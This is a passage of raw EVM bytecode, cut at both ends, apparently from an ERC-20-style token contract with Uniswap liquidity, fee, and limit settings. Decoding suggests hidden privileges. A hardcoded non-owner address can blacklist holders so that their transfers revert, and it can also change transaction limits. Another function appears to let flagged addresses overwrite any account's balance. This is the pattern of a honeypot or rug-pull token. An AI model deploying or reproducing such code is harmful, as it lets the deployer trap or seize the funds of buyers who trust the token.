90815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620009b362000cc460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c600062000aec62000cbc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073f01dd7a1a5bbdbd6aa6338f70168a4ae298f0fad600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f01dd7a1a5bbdbd6aa6338f70168a4ae298f0fad600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a546006600062000bfe62000cbc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c4c62000cbc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000cad919062000f05565b60405180910390a350620012bd565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cfe919062000f33565b90508381101562000d46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d3d9062000ee3565b60405180910390fd5b8091505092915050565b600062000d638262000d6a60201b60201c565b9050919050565b6000819050919050565b82805462000d8290620011d4565b90600052602060002090601f01602090048101928262000da6576000855562000df2565b82601f1062000dc157805160ff191683800117855562000df2565b8280016001018555821562000df2579182015b8281111562000df157825182559160200191906001019062000dd4565b5b50905062000e01919062000e05565b5090565b5b8082111562000e2057600081600090555060010162000e06565b5090565b60008151905062000e3581620012a3565b92915050565b60006020828403121562000e545762000e5362001268565b5b600062000e648482850162000e24565b91505092915050565b62000e788162001189565b82525050565b600062000e8d601b8362000f22565b915062000e9a826200127a565b602082019050919050565b62000eb081620011bd565b82525050565b600060408201905062000ecd600083018562000e6d565b62000edc602083018462000e6d565b9392505050565b6000602082019050818103600083015262000efe8162000e7e565b9050919050565b600060208201905062000f1c600083018462000ea5565b92915050565b600082825260208201905092915050565b600062000f4082620011bd565b915062000f4d83620011bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f855762000f846200120a565b5b828201905092915050565b6000808291508390505b600185111562000fe25780860481111562000fba5762000fb96200120a565b5b600185161562000fca5780820291505b808102905062000fda856200126d565b945062000f9a565b94509492505050565b600062000ff882620011bd565b91506200100583620011c7565b9250620010347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200103c565b905092915050565b6000826200104e576001905062001121565b816200105e576000905062001121565b81600181146200107757600281146200108257620010b8565b600191505062001121565b60ff8411156200109757620010966200120a565b5b8360020a915084821115620010b157620010b06200120a565b5b5062001121565b5060208310610133831016604e8410600b8410161715620010f25782820a905083811115620010ec57620010eb6200120a565b5b62001121565b62001101848484600162000f90565b925090508184048111156200111b576200111a6200120a565b5b81810290505b9392505050565b60006200113582620011bd565b91506200114283620011bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200117e576200117d6200120a565b5b828202905092915050565b600062001196826200119d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011ed57607f821691505b6020821081141562001204576200120362001239565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b620012ae8162001189565b8114620012ba57600080fd5b50565b60805160601c614c5f620012e36000396000818161130b01526113370152614c5f6000f3fe60806040526004361061039b5760003560e01c80638b42507f116101dc578063c860795211610102578063dfb342fa116100a0578063f2514e881161006f578063f2514e8814610ddd578063f2fde38b14610e1a578063f872858a14610e43578063fd9c299c14610e6e576103a2565b8063dfb342fa14610d23578063ec28438a14610d60578063f0cd1dac14610d89578063f1d5f51714610db4576103a2565b8063d8295642116100dc578063d829564214610c67578063da00097d14610c90578063dc44b6a014610cbb578063dd62ed3e14610ce6576103a2565b8063c860795214610bd4578063c867d60b14610bff578063cab0347114610c3c576103a2565b8063a83f53a71161017a578063c469b6dd11610149578063c469b6dd14610b2a578063c49b9a8014610b55578063c5d2418914610b7e578063c816841b14610ba9576103a2565b8063a83f53a714610a6e578063a9059cbb14610a99578063b4fc5a9514610ad6578063c2d4640e14610b01576103a2565b8063a073d37f116101b6578063a073d37f146109b2578063a08e671f146109dd578063a457c2d714610a08578063a5d69d1f14610a45576103a2565b80638b42507f1461091f5780638da5cb5b1461095c57806395d89b4114610987576103a2565b806339509351116102c157806361a23c691161025f5780637d1db4a51161022e5780637d1db4a514610873578063807c2d9c1461089e57806382eefb43146108c957806388790a68146108f4576103a2565b806361a23c69146107b95780636249faf1146107e457806370a082311461080d57806377f31d031461084a576103a2565b806340db65f61161029b57806340db65f6146106fb5780634a74bb021461072657806357a5802f146107515780635881f3ef1461077c576103a2565b806339509351146106585780633b97084a146106955780633ecad271146106be576103a2565b80631870517a116103395780632b112e49116103085780632b112e49146105b05780632c4b2334146105db578063313ce5671461060457806335d236151461062f576103a2565b80631870517a146104f657806323b872dd1461051f5780632563ae831461055c57806327c8f83514610585576103a2565b80631245e347116103755780631245e3471461044c578063156b88eb146104775780631694505e146104a057806318160ddd146104cb576103a2565b806306fdde03146103a7578063095ea7b3146103d25780630ed8b8251461040f576103a2565b366103a257005b600080fd5b3480156103b357600080fd5b506103bc610e97565b6040516103c991906143ad565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190613ed8565b610f29565b6040516104069190614377565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190613deb565b610f47565b6040516104439190614377565b60405180910390f35b34801561045857600080fd5b50610461610f67565b60405161046e91906142d2565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190613fd2565b610f8d565b005b3480156104ac57600080fd5b506104b561106d565b6040516104c29190614392565b60405180910390f35b3480156104d757600080fd5b506104e0611093565b6040516104ed91906144cf565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613fd2565b61109d565b005b34801561052b57600080fd5b5061054660048036038101906105419190613e85565b61117d565b6040516105539190614377565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e9190613f78565b611257565b005b34801561059157600080fd5b5061059a611309565b6040516105a791906142b7565b60405180910390f35b3480156105bc57600080fd5b506105c561132d565b6040516105d291906144cf565b60405180910390f35b3480156105e757600080fd5b5061060260048036038101906105fd9190613deb565b611371565b005b34801561061057600080fd5b5061061961144a565b6040516106269190614574565b60405180910390f35b34801561063b57600080fd5b5061065660048036038101906106519190613deb565b611461565b005b34801561066457600080fd5b5061067f600480360381019061067a9190613ed8565b61153a565b60405161068c9190614377565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190613fa5565b6115ed565b005b3480156106ca57600080fd5b506106e560048036038101906106e09190613deb565b61168c565b6040516106f29190614377565b60405180910390f35b34801561070757600080fd5b506107106116ac565b60405161071d91906144cf565b60405180910390f35b34801561073257600080fd5b5061073b6116b2565b6040516107489190614377565b60405180910390f35b34801561075d57600080fd5b506107666116c5565b60405161077391906144cf565b60405180910390f35b34801561078857600080fd5b506107a3600480360381019061079e9190613deb565b6116cb565b6040516107b091906142b7565b60405180910390f35b3480156107c557600080fd5b506107ce611c29565b6040516107db91906144cf565b60405180910390f35b3480156107f057600080fd5b5061080b60048036038101906108069190613f18565b611c2f565b005b34801561081957600080fd5b50610834600480360381019061082f9190613deb565b611d69565b60405161084191906144cf565b60405180910390f35b34801561085657600080fd5b50610871600480360381019061086c9190613f18565b611db2565b005b34801561087f57600080fd5b50610888611eec565b60405161089591906144cf565b60405180910390f35b3480156108aa57600080fd5b506108b3611ef2565b6040516108c091906144cf565b60405180910390f35b3480156108d557600080fd5b506108de611ef8565b6040516108eb91906144cf565b60405180910390f35b34801561090057600080fd5b50610909611efe565b60405161091691906144cf565b60405180910390f35b34801561092b57600080fd5b5061094660048036038101906109419190613deb565b611f04565b6040516109539190614377565b60405180910390f35b34801561096857600080fd5b50610971611f24565b60405161097e91906142b7565b60405180910390f35b34801561099357600080fd5b5061099c611f4d565b6040516109a991906143ad565b60405180910390f35b3480156109be57600080fd5b506109c7611fdf565b6040516109d491906144cf565b60405180910390f35b3480156109e957600080fd5b506109f2611fe9565b6040516109ff91906144cf565b60405180910390f35b348015610a1457600080fd5b50610a2f6004803603810190610a2a9190613ed8565b611fef565b604051610a3c9190614377565b60405180910390f35b348015610a5157600080fd5b50610a6c6004803603810190610a679190613f78565b6120bc565b005b348015610a7a57600080fd5b50610a8361216e565b604051610a9091906144cf565b60405180910390f35b348015610aa557600080fd5b50610ac06004803603810190610abb9190613ed8565b612174565b604051610acd9190614377565b60405180910390f35b348015610ae257600080fd5b50610aeb612193565b604051610af891906142d2565b60405180910390f35b348015610b0d57600080fd5b50610b286004803603810190610b239190613fd2565b6121b9565b005b348015610b3657600080fd5b50610b3f612299565b604051610b4c91906144cf565b60405180910390f35b348015610b6157600080fd5b50610b7c6004803603810190610b779190613f78565b61229f565b005b348015610b8a57600080fd5b50610b93612388565b604051610ba091906144cf565b60405180910390f35b348015610bb557600080fd5b50610bbe61238e565b604051610bcb91906142b7565b60405180910390f35b348015610be057600080fd5b50610be96123b4565b604051610bf691906144cf565b60405180910390f35b348015610c0b57600080fd5b50610c266004803603810190610c219190613deb565b6123ba565b604051610c339190614377565b60405180910390f35b348015610c4857600080fd5b50610c516123da565b604051610c5e91906144cf565b60405180910390f35b348015610c7357600080fd5b50610c8e6004803603810190610c899190613ed8565b6123e0565b005b348015610c9c57600080fd5b50610ca5612482565b604051610cb29190614377565b60405180910390f35b348015610cc757600080fd5b50610cd0612495565b604051610cdd91906144cf565b60405180910390f35b348015610cf257600080fd5b50610d0d6004803603810190610d089190613e45565b61249b565b604051610d1a91906144cf565b60405180910390f35b348015610d2f57600080fd5b50610d4a6004803603810190610d459190613deb565b612522565b604051610d579190614377565b60405180910390f35b348015610d6c57600080fd5b50610d876004803603810190610d829190613fa5565b612542565b005b348015610d9557600080fd5b50610d9e6125a3565b604051610dab91906144cf565b60405180910390f35b348015610dc057600080fd5b50610ddb6004803603810190610dd69190613fa5565b6125a9565b005b348015610de957600080fd5b50610e046004803603810190610dff9190613deb565b612648565b604051610e119190614377565b60405180910390f35b348015610e2657600080fd5b50610e416004803603810190610e3c9190613deb565b612668565b005b348015610e4f57600080fd5b50610e586127ba565b604051610e659190614377565b60405180910390f35b348015610e7a57600080fd5b50610e956004803603810190610e909190613f18565b6127cd565b005b606060028054610ea6906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054610ed2906147db565b8015610f1f5780601f10610ef457610100808354040283529160200191610f1f565b820191906000526020600020905b815481529060010190602001808311610f0257829003601f168201915b5050505050905090565b6000610f3d610f36612927565b848461292f565b6001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f95612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611022576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110199061446f565b60405180910390fd5b8260118190555081601281905550806013819055506110626013546110546012546011546128c990919063ffffffff16565b6128c990919063ffffffff16565b601881905550505050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6110a5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611132576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111299061446f565b60405180910390fd5b82600e8190555081600f8190555080601081905550611172601054611164600f54600e546128c990919063ffffffff16565b6128c990919063ffffffff16565b601781905550505050565b600061118a848484612afa565b5061124c84611197612927565b61124785604051806060016040528060288152602001614bdd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111fd612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b600190509392505050565b61125f612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e39061446f565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061136c61135b7f0000000000000000000000000000000000000000000000000000000000000000611d69565b601a5461319490919063ffffffff16565b905090565b611379612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd9061446f565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611469612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ed9061446f565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006115e3611547612927565b846115de8560076000611558612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b61292f565b6001905092915050565b6115f5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611682576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116799061446f565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60015481565b601f60159054906101000a900460ff1681565b60145481565b60006116d5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611762576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117599061446f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117ad57600080fd5b505afa1580156117c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e59190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561184757600080fd5b505afa15801561185b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187f9190613e18565b6040518363ffffffff1660e01b815260040161189c9291906142ed565b60206040518083038186803b1580156118b457600080fd5b505afa1580156118c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ec9190613e18565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aad578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561196957600080fd5b505afa15801561197d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a19190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0357600080fd5b505afa158015611a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3b9190613e18565b6040518363ffffffff1660e01b8152600401611a589291906142ed565b602060405180830381600087803b158015611a7257600080fd5b505af1158015611a86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aaa9190613e18565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611c37612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb9061446f565b60405180910390fd5b60005b83839050811015611d63578160096000868685818110611cea57611ce96148e3565b5b9050602002016020810190611cff9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d5b9061480d565b915050611cc7565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611dba612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e9061446f565b60405180910390fd5b60005b83839050811015611ee6578160086000868685818110611e6d57611e6c6148e3565b5b9050602002016020810190611e829190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ede9061480d565b915050611e4a565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611f5c906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054611f88906147db565b8015611fd55780601f10611faa57610100808354040283529160200191611fd5565b820191906000526020600020905b815481529060010190602001808311611fb857829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b60006120b2611ffc612927565b846120ad85604051806060016040528060258152602001614c056025913960076000612026612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b6001905092915050565b6120c4612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121489061446f565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b6000612188612181612927565b8484612afa565b506001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6121c1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461224e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122459061446f565b60405180910390fd5b82601481905550816015819055508060168190555061228e6016546122806015546014546128c990919063ffffffff16565b6128c990919063ffffffff16565b601981905550505050565b60105481565b6122a7612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b9061446f565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161237d9190614377565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600c60006123ec612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561247e5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156125a05780601b819055505b50565b60175481565b6125b1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126359061446f565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612670612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f49061446f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156128c45760005b838390508110156128c25781600d6000868685818110612849576128486148e3565b5b905060200201602081019061285e9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806128ba9061480d565b915050612826565b505b505050565b60008082846128d891906145e4565b90508381101561291d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129149061440f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561299f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612996906144af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a06906143ef565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aed91906144cf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b629061448f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd2906143cf565b60405180910390fd5b601f60149054906101000a900460ff1615612c0257612bfb8484846131de565b9050613129565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612ca65750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612cf157601b54821115612cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce79061442f565b60405180910390fd5b5b6000612cfc30611d69565b90506000601d548210159050808015612d225750601f60149054906101000a900460ff16155b8015612d785750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d905750601f60159054906101000a900460ff165b15612dba57601f60169054906101000a900460ff1615612db057601d5491505b612db9826133b1565b5b612dc3866135a2565b15612e5e57612e1a84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461319490919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612f015750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612f1557612f108787876135f7565b612f17565b845b9050601f60179054906101000a900460ff168015612f7f5750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fae57601c54612fa282612f9489611d69565b6128c990919063ffffffff16565b1115612fad57600080fd5b5b600080612fb9575060015b1561302757600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613026576001801561301c575060005b61302557600080fd5b5b5b61307981600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161311991906144cf565b60405180910390a3600193505050505b9392505050565b6000838311158290613178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161316f91906143ad565b60405180910390fd5b506000838561318791906146c5565b9050809150509392505050565b60006131d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613130565b905092915050565b6000613269826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132fe82600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161339e91906144cf565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550600061340a60026133fc6019546133ee6014548761381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b90506000613421828461319490919063ffffffff16565b905061342c816138e3565b6000479050600061345d61344c600260145461389990919063ffffffff16565b60195461319490919063ffffffff16565b9050600061349b600261348d8461347f6014548861381e90919063ffffffff16565b61389990919063ffffffff16565b61389990919063ffffffff16565b905060006134c6836134b86016548761381e90919063ffffffff16565b61389990919063ffffffff16565b905060006134ef826134e1858861319490919063ffffffff16565b61319490919063ffffffff16565b9050600081111561352757613526600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613b6e565b5b600082111561355d5761355c600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613b6e565b5b60008311801561356d5750600087115b1561357d5761357c8784613bb9565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60006135af600154613cad565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806135e6575060005b806135ef575060005b159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561367f57613678606461366a6017548661381e90919063ffffffff16565b61389990919063ffffffff16565b90506136fd565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff